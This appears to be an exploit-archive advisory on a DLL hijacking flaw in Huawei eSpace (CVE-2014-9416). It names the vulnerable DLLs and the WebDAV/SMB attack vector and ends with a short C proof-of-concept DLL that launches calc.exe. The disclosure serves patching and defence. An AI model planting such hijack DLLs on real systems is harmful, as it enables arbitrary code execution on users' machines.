Huawei eSpace DLL Hijacking

Credit: LiquidWorm
Risk: High
Local: Yes
Remote: No
CWE: CWE-Other

CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* Huawei eSpace Desktop DLL Hijacking Vulnerability Vendor: Huawei Technologies Co., Ltd. Product web page: Affected version: eSpace (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC) Summary: Create more convenient Enhanced Communications (EC) services for your enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines voice, data, video, and service streams, and provides users with easy and secure access to their service platform from any device, in any place, at any time. The eSpace Meeting allows you to join meetings that support voice, data, and video functions using the PC client, the tablet client, or an IP phone, or in a meeting room with an MT deployed. Desc: eSpace suffers from a DLL Hijacking issue. The vulnerability is caused due to the application loading libraries (mfc71enu.dll, mfc71loc.dll, tcapi.dll and airpcap.dll) in an insecure manner. This can be exploited to load arbitrary libraries by tricking a user into opening a related application file (.html, .jpg, .png) located on a remote WebDAV or SMB share. Tested on: Microsoft Windows 7 Professional Vulnerability discovered by Gjoko 'LiquidWorm' Krstic 19.08.2014 Patched version: V200R003C00 Vuln ID: HWPSIRT-2014-1153 and HWPSIRT-2014-1154 CVE ID: CVE-2014-9416 Advisory: */ // gcc -shared -o mfc71enu.dll exploit.c #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) { exec(); return 0; } int exec() { WinExec("calc.exe" , SW_NORMAL); return 0; }

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